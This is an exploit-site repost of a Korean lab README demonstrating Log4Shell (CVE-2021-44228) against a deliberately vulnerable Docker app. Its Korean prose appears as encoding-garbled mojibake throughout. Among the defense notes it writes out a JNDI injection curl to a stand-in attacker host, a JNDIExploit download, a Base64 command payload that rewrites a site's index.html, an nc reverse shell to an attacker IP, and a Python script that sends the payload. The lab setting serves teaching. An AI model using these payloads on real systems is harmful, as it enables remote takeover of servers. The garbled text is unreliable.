Sploitus

Exploit for Log4Shell-CVE-2021-44228-Demo

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN221 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RA890927-LOG4SHELL-CVE-2021-44228-DEMO
# CVE-2021โ€“44228 Demo

## 1\. CVE-2021โ€“44228 ์†Œ๊ฐœ

2021๋…„ ๋ง ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ์—…๊ณ„์—์„œ ๊ฐ€์žฅ ํฐ ๋‰ด์Šค๋Š” Log4j์˜ ์ทจ์•ฝ์ ์ด์—ˆ์Šต๋‹ˆ๋‹ค. CVE-2021-44228๋กœ ๋ฒˆํ˜ธ๊ฐ€ ๋ถ€์—ฌ๋˜์—ˆ์œผ๋ฉฐ **Log4Shell** ์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆฝ๋‹ˆ๋‹ค. CVSS ์ทจ์•ฝ์  ํ‰๊ฐ€ ์‹œ์Šคํ…œ์—์„œ ๊ฐ€์žฅ **์‹ฌ๊ฐํ•œ ๋“ฑ๊ธ‰์ธ 10์ ** ์„ ๋ฐ›์•˜์œผ๋ฉฐ, ์ตœ๊ทผ Heartbleed์™€ ShellShock์— ์ด์–ด ๊ฐ€์žฅ ์ค‘๋Œ€ํ•œ ์ทจ์•ฝ์ ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค. ์–ด๋–ค ์ด๋“ค์€ ์ด๋ฅผ 'ํ•ตํญํƒ„๊ธ‰ ์ทจ์•ฝ์ '์ด๋ผ๊ณ  ๋ฌ˜์‚ฌํ•  ์ •๋„๋กœ ๊ทธ ์˜ํ–ฅ์ด ๋งค์šฐ ๊นŠ์Šต๋‹ˆ๋‹ค. ์ด ๊ณผ์ œ๋Š” CVE-2021-44228์„ ๋ถ„์„ํ•˜๊ณ  lab ์‹ค์Šต์„ ํ•จ๊ป˜ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

## 2\. Log4j ์†Œ๊ฐœ

Logfile(๋กœ๊ทธ ํŒŒ์ผ)์€ ์‹คํ–‰ ์ค‘์ธ ์šด์˜ ์ฒด์ œ๋‚˜ ์†Œํ”„ํŠธ์›จ์–ด์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋กํ•˜๋Š” ํŒŒ์ผ์ด๊ฑฐ๋‚˜, ๋„คํŠธ์›Œํฌ ์ฑ„ํŒ… ์†Œํ”„ํŠธ์›จ์–ด ์‚ฌ์šฉ์ž ๊ฐ„์— ์ „์†ก๋œ ๋ฉ”์‹œ์ง€๋ฅผ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ์šด์˜ ์ฒด์ œ, ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋ ˆ์ž„์›Œํฌ ๋ฐ ํ”„๋กœ๊ทธ๋žจ์ด ๋กœ๊ทธ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. Java์—๋Š” ๋งค์šฐ ์œ ์šฉํ•œ ๋กœ๊ทธ ํŒจํ‚ค์ง€์ธ Log4j๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŒจํ‚ค์ง€๋Š” Apache Software Foundation์— ์†ํ•˜๋ฏ€๋กœ ์ •์‹ ๋ช…์นญ์€ Apache Log4j์ž…๋‹ˆ๋‹ค.

Log4j๋Š” ๋งค์šฐ ์œ ์šฉํ•œ ๋„๊ตฌ๋กœ, Java ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ๊ฒฝ์šฐ ์†Œํ”„ํŠธ์›จ์–ด ์—”์ง€๋‹ˆ์–ด๋Š” ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ๊ทธ๋žจ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ๊ทธ ํŒŒ์ผ์— ๊ธฐ๋กํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๊ธฐ๋กํ•˜์—ฌ ๋‚˜์ค‘์— ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด Log4j์˜ ์šฉ๋„์ž…๋‹ˆ๋‹ค. ์–ด๋”˜๊ฐ€์—์„œ ๋ฌธ์ž์—ด(์˜ˆ: ๋กœ๊ทธ์ธ ํ™”๋ฉด์— ์ž…๋ ฅ๋œ ์‚ฌ์šฉ์ž ID)์„ ๋ฐ›์•„์„œ ๋‹ค๋ฅธ ๊ณณ(์˜ˆ: ์ธ์ฆ ํ”„๋กœ์„ธ์Šค์˜ ๋ฐ์ดํ„ฐ ์ž…๋ ฅ ํ•„๋“œ)์— ๋ฌธ์ž์—ด์„ ์”๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์ธ ๋ณต์‚ฌ/๋ถ™์—ฌ๋„ฃ๊ธฐ ์™ธ์—๋„ Log4j๋Š” ๋ฌธ์ž์—ด์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•˜๊ณ  ํ•ด์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ํ•ด์„์€ ์œ„ํ—˜ํ•œ ์ž‘์—…์ž…๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์ด ๋จผ์ € ๋ฌธ์ž์—ด์„ ์ •๋ฆฌํ•˜์ง€ ์•Š์œผ๋ฉด ํ•ด์„ ์‹œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๊ธฐ ์‰ฝ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. Log4j๋Š” ๋จผ์ € ๋ฌธ์ž์—ด์„ ์ •๋ฆฌํ•˜์ง€ ์•Š๊ณ  ํ•ด์„ํ•˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ธ์ ์…˜ ๊ณต๊ฒฉ(injection)์„ ํ•  ๊ธฐํšŒ๊ฐ€ ์ƒ๊น๋‹ˆ๋‹ค.

## 3 CVE-2021-44228

CVE-2021-44228์€ ์ค‘์š”ํ•œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๊ฐ€ Java ์„œ๋ฒ„์—์„œ RCE(Remote Code Execution, ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ๊ณต๊ฒฉ)๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ log4j๊ฐ€ ๋กœ๊ทธ ๋ฉ”์‹œ์ง€๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์—์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘๋œ ๋ฉ”์‹œ์ง€(์˜ˆ: ${jndi:ldap://rogueldapserver.com/a}์™€ ๊ฐ™์€ ๋ฌธ์ž์—ด ํฌํ•จ)๋ฅผ ๋ณด๋‚ด๋ฉด ์™ธ๋ถ€ ์ฝ”๋“œ ํด๋ž˜์Šค๋‚˜ ๋ฉ”์‹œ์ง€ ์กฐํšŒ(message lookup)๋ฅผ ๋กœ๋“œํ•˜์—ฌ ํ•ด๋‹น ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜์–ด RCE๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

![](https://assets.kitploit.com/production/public/readmes/31126/03d69a41483cf5b9a1680fed971f060ab302c365ce44a36482a1fa759bee9545.png)

๋‹ค์Œ์€ RCE์˜ ๊ธฐ๋ณธ ํ๋ฆ„์ž…๋‹ˆ๋‹ค.

  1. ๊ณต๊ฒฉ์ž๊ฐ€ ์ธ์ ์…˜ ๊ณต๊ฒฉ์ด ํฌํ•จ๋œ ์š”์ฒญ์„ Vulnerable Server๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์˜ˆ: http request ์ „์†ก 

root@kitploit:~
         
         $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
         

  2. ์ „์†ก๋œ ๋ฌธ์ž์—ด์€ log4j๋กœ ์ „๋‹ฌ๋˜์–ด ๋กœ๊น…๋ฉ๋‹ˆ๋‹ค. ๋™์‹œ์— Log4j๋Š” ${jndi:ldap://evil.xo/x}๋ฅผ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค.
  3. Log4j๊ฐ€ ๋ฌธ์ž์—ด์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•˜๊ณ  ํ•ด์„ํ•œ ๋‹ค์Œ, JNDI(Java Naming and Directory Interface)๊ฐ€ LDAP ์„œ๋ฒ„์— ์งˆ์˜ํ•ฉ๋‹ˆ๋‹ค. LDNP๋Š” IP ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ์•ก์„ธ์Šค ์ œ์–ด๋ฅผ ์ œ๊ณตํ•˜๊ณ  ๋ถ„์‚ฐ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค.
  4. LDAP ์„œ๋ฒ„๋Š” ์•…์„ฑ ์„œ๋ฒ„๋กœ, JNDI Query๋ฅผ ์ˆ˜์‹ ํ•˜๋ฉด ์ฃผ์ž…๋œ ๋‚ด์šฉ์„ ํ•ด์„ํ•˜๊ณ  JNDI์— ํ•„์š”ํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ์•…์„ฑ Java ํด๋ž˜์Šค๋‚˜ ๋ช…๋ น์–ด๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.
  5. Vulnerable Server๋Š” JNDI๊ฐ€ ๋ฐ›์€ ์‘๋‹ต์„ ์‹คํ–‰ํ•˜์—ฌ ๊ณต๊ฒฉ์ž์˜ ์ธ์ ์…˜์ด ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค.



## Log4j ์ทจ์•ฝ์  ๋ฐฉ์–ด ๋ฐฉ๋ฒ•

  1. ์ตœ์‹  ๋ฒ„์ „์˜ Log4j๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ ํŒจํ‚ค์ง€๋ฅผ ์žฌ๊ตฌ์ถ•ํ•ฉ๋‹ˆ๋‹ค(ํ˜„์žฌ ๋ฒ„์ „์€ 2.17.xx). ๋˜ํ•œ Apache Foundation ์›น์‚ฌ์ดํŠธ์—์„œ ์ตœ์‹  ์ˆ˜์ • ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  2. WAF(Web Application Firewall)๋ฅผ ๊ตฌ์ถ•ํ•˜์—ฌ ์นจ์ž… ๊ทœ์น™์„ ์ •์˜ํ•˜๊ณ  log4j ์ž…๋ ฅ ๋ฌธ์ž์—ด์„ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๋Š” ๊ทผ๋ณธ์ ์ธ ํ•ด๊ฒฐ์ฑ…์ด ์•„๋‹ˆ๋ฉฐ, ๊ณต๊ฒฉ์ž๋Š” base64 ์ธ์ฝ”๋”ฉ ๋“ฑ์œผ๋กœ ๋ฌธ์ž์—ด์„ ์ˆจ๊ฒจ ํ…์ŠคํŠธ ์Šค์บ” ํƒ์ง€๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  3. ๋กœ๊ทธ ๊ธฐ๋Šฅ์„ ์ผ์‹œ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜
  4. ์ฝ”๋“œ๋ฅผ ์—…๋ฐ์ดํŠธํ•  ๋•Œ๊นŒ์ง€ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. Log4j๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ชจ๋“  ๋ถ€๋ถ„์„ ์ฃผ์„ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์œผ๋ฉฐ, ์ด๋กœ ์ธํ•ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ผ๋ถ€ ๊ธฐ๋Šฅ์ด ์†์‹ค๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ๋” ์ด์ƒ ํ•œ ์‚ฌ์šฉ์ž์˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์†กํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ฐธ๊ณ ๋กœ ์ด๊ฒƒ์ด ์ด ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋œ ์ด์œ ์ž…๋‹ˆ๋‹ค. Minecraft ํ”Œ๋ ˆ์ด์–ด๊ฐ€ ์ฑ„ํŒ… ์ƒ์ž์— Log4j ๋ช…๋ น์„ ๋ถ™์—ฌ๋„ฃ์œผ๋ฉด ํ•ด๋‹น ๋ฉ”์‹œ์ง€๊ฐ€ ๋ฉ”์‹œ์ง€๋กœ ์ „์†ก๋˜์ง€ ์•Š๊ณ  ๋ช…๋ น์œผ๋กœ ์ง์ ‘ ์‹คํ–‰๋œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.



# Lab ํ™˜๊ฒฝ

## 1\. ํ™˜๊ฒฝ ์„ค์ •

SEED Ubuntu 20.04 VM์„ ๋จผ์ € ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ์ด VM์€ ์„ค์น˜๋œ Docker ํ™˜๊ฒฝ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. **๋‹ค์šด๋กœ๋“œ**

### JNDIExploit ๋‹ค์šด๋กœ๋“œ

root@kitploit:~
    
    
    $ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
    

### ์ปจํ…Œ์ด๋„ˆ ์„ค์ •

root@kitploit:~
    
    
    $ docker-compose build  # ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€ ๋นŒ๋“œ
    $ docker-compose up     # ์ปจํ…Œ์ด๋„ˆ ์‹œ์ž‘
    $ docker-compose down   # ์ปจํ…Œ์ด๋„ˆ ์ข…๋ฃŒ
    
    # ์œ„ Compose ๋ช…๋ น์–ด์˜ ๋ณ„์นญ
    $ dcbuild   # docker-compose build์˜ ๋ณ„์นญ
    $ dcup      # docker-compose up์˜ ๋ณ„์นญ
    $ dcdown    # docker-compose down์˜ ๋ณ„์นญ
    

### ์ปจํ…Œ์ด๋„ˆ ๋ช…๋ น์–ด

root@kitploit:~
    
    
    $ dockps        # docker ps --format "{{.ID}} {{.Names}}"์˜ ๋ณ„์นญ
    $ docksh <id>   # docker exec -it <id> /bin/bash์˜ ๋ณ„์นญ
    
    # ๋‹ค์Œ ์˜ˆ์ œ๋Š” hostC ๋‚ด๋ถ€์—์„œ ์…ธ์„ ์–ป๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค
    $ dockps
    b1004832e275 LDAP-10.9.0.5
    9652715c8e0a vulnerable-app
    $ docksh b1
    root@b1004832e275:/#
    

๋‹จ๊ณ„๋ฅผ ๊ฐ„์†Œํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ์„œ๋ฒ„๋Š” ๋™์ผํ•œ LAN์— ์žˆ์Šต๋‹ˆ๋‹ค.

![](https://assets.kitploit.com/production/public/readmes/31126/cd8506389e35c31422f92dba00b3925c18f05bfd1a190a7e3190769bd8b2ebed.jpg)

# Lab ๊ณผ์ œ

## Task 1: Log4j ์‚ฌ์šฉํ•˜๊ธฐ

์ด Task์—์„œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ `log4j`๊ฐ€ ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€ ์ตํž ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” `X-Api-Version` ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ log4j๋กœ ๋กœ๊ทธ๋ฅผ ๊ธฐ๋กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    # <>๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜์ •ํ•ด์•ผ ํ•  ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค
    $ curl <server:ip> -H 'X-Api-Version: <version-number>'
    

์„œ๋ฒ„๊ฐ€ ๋ณด๋‚ธ ์š”์ฒญ์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ํ•ด์„ํ•˜๋ฉด `Hello World!`๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋ณด๊ณ ์„œ์— ์„œ๋ฒ„๊ฐ€ ๋ฐ˜ํ™˜ํ•œ ๊ฒฐ๊ณผ์™€ ์„œ๋ฒ„๊ฐ€ ์š”์ฒญ์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ํ•ด์„ํ–ˆ๋Š”์ง€, ๋กœ๊ทธ๋ฅผ ๊ธฐ๋กํ–ˆ๋Š”์ง€ ๊ธฐ๋กํ•˜์„ธ์š”.

## Task 2: Log4Shell ์‹คํ–‰

2013๋…„์— Log4j ํŒจํ‚ค์ง€์— '**JNDILookup ํ”Œ๋Ÿฌ๊ทธ์ธ** '์ด ์ถ”๊ฐ€๋˜์–ด ๊ฐœ๋ฐœ์ž๊ฐ€ JNDI์™€ LDAP์„ ๊ฒฐํ•ฉํ•˜์—ฌ ์™ธ๋ถ€ JNDITutorial์˜ Java ๋ฐ์ดํ„ฐ ๊ฐ์ฒด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ ๋ฐฉ๊ธˆ ์‚ฌ์šฉํ•œ `log4j`์™€ JNDIExploit์„ ๊ฒฐํ•ฉํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    # <>๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜์ •ํ•ด์•ผ ํ•  ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค
    $ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
    

`/tmp` ํด๋”์— secret.txt ํŒŒ์ผ์„ ๋งŒ๋“ค๊ณ  ์„œ๋ฒ„์— ์ ‘์†ํ•˜์—ฌ ํŒŒ์ผ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์ƒ์„ฑ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

  


> **์ฐธ๊ณ -1** : <content>์—๋Š” ๋ช…๋ น์–ด๋ฅผ ์ง์ ‘ ๋„ฃ์„ ์ˆ˜ ์—†์œผ๋ฉฐ ๋ณ€ํ™˜์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.   
>  **์ฐธ๊ณ -2** : `vulnerable-app`์— `/bin/bash` ์…ธ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ํŒŒ์ผ์„ ํ™•์ธํ•˜๋ ค๋ฉด docker ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.   
> 

root@kitploit:~
    
    
    $ docker exec vulnerable-app ls /tmp
    

> **JNDIExploit ์‚ฌ์šฉ ์ƒ์„ธ**

## Task 3: ์„œ๋ฒ„ ํŒŒ์ผ ์ˆ˜์ •

์ด์ „ Task๋ฅผ ํ†ตํ•ด `vulnerable-app`์ด ๊ณต๊ฒฉ์ž์˜ `base64` ๋ช…๋ น์–ด๋ฅผ ๋ชจ๋‘ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋” ๋ณต์žกํ•œ ์ž‘์—…์„ ์›ํ•œ๋‹ค๋ฉด `shell script` ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ณด๋‚ด ์„œ๋ฒ„๊ฐ€ ์‹คํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    $ cd /var/www
    $ head -c <head-num> index.html > tmp
    $ echo -n <score> >> tmp
    $ tail -c <tail-num> index.html >> tmp
    $ mv tmp index.html
    

์œ„๋Š” ์›น์‚ฌ์ดํŠธ ์ ์ˆ˜๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋กœ, ์ ์ˆ˜๋Š” `index.html`์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๋จผ์ € ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰ํ•˜๊ณ  ์ฐจ์ด์ ์„ ์ง€์ ํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์ ์ˆ˜ ํŒŒ์ผ์„ ์›ํ•˜๋Š” ์ˆซ์ž๋กœ ๋ณ€๊ฒฝํ•˜์„ธ์š”.

  


> **์ฐธ๊ณ -1** : ํŒŒ์ผ์„ ์‰ฝ๊ฒŒ ์ˆ˜์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ `sed`๋„ ์žˆ์Šต๋‹ˆ๋‹ค.   
>  **์ฐธ๊ณ -2** : `vulnerable-app`์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด /var/www๋ฅผ ๋ณด๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ํŒŒ์ผ์„ ํ™•์ธํ•˜๋ ค๋ฉด docker ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    $ docker exec vulnerable-app cat /var/www/index.html
    

## Task 4: Log4Shell์„ ์‚ฌ์šฉํ•œ ๋ฆฌ๋ฒ„์Šค ์…ธ ์ƒ์„ฑ

์ด์ „ Task๋ฅผ ํ†ตํ•ด ์šฐ๋ฆฌ๋Š” ์‹คํ–‰ํ•˜๋ ค๋Š” ๋ช…๋ น์–ด๋ฅผ `base64`๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ์‹คํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„๋ฅผ ์™„์ „ํžˆ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•ด ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์…ธ(reverse shell)์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    # <>๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜์ •ํ•ด์•ผ ํ•  ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค
    $ mkfifo <file-name>
    $ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
    

ํŽธ์˜๋ฅผ ์œ„ํ•ด ๊ณต๊ฒฉ์„ ์œ„ํ•œ Python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    import os
    import sys
    import base64
    import requests
                        
    ldap = '###'        # ์‚ฌ์šฉ์ž ์ˆ˜์ •
    server_ip = '###'   # ์‚ฌ์šฉ์ž ์ˆ˜์ •
    
    cmd = sys.argv[1]
    data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
    data = data.replace('+', '%2B')
    print(data)
    os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
    

root@kitploit:~
    
    
    $ ./script '<command>'
    

  


> **์ฐธ๊ณ ** : `vulnerable-app`์—๋Š” `/bin/bash`์™€ `/dev/tcp`๊ฐ€ ์—†์œผ๋ฏ€๋กœ ์ผ๋ฐ˜์ ์ธ ๋ฆฌ๋ฒ„์Šค ์…ธ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ํŒŒ์ดํ”„ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜์—ฌ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    $ mkfifo <file-name>
    

## ์ฐธ๊ณ  ์ž๋ฃŒ

https://github.com/christophetd/log4shell-vulnerable-app   
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo   
https://github.com/Mr-xn/JNDIExploit-1   
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641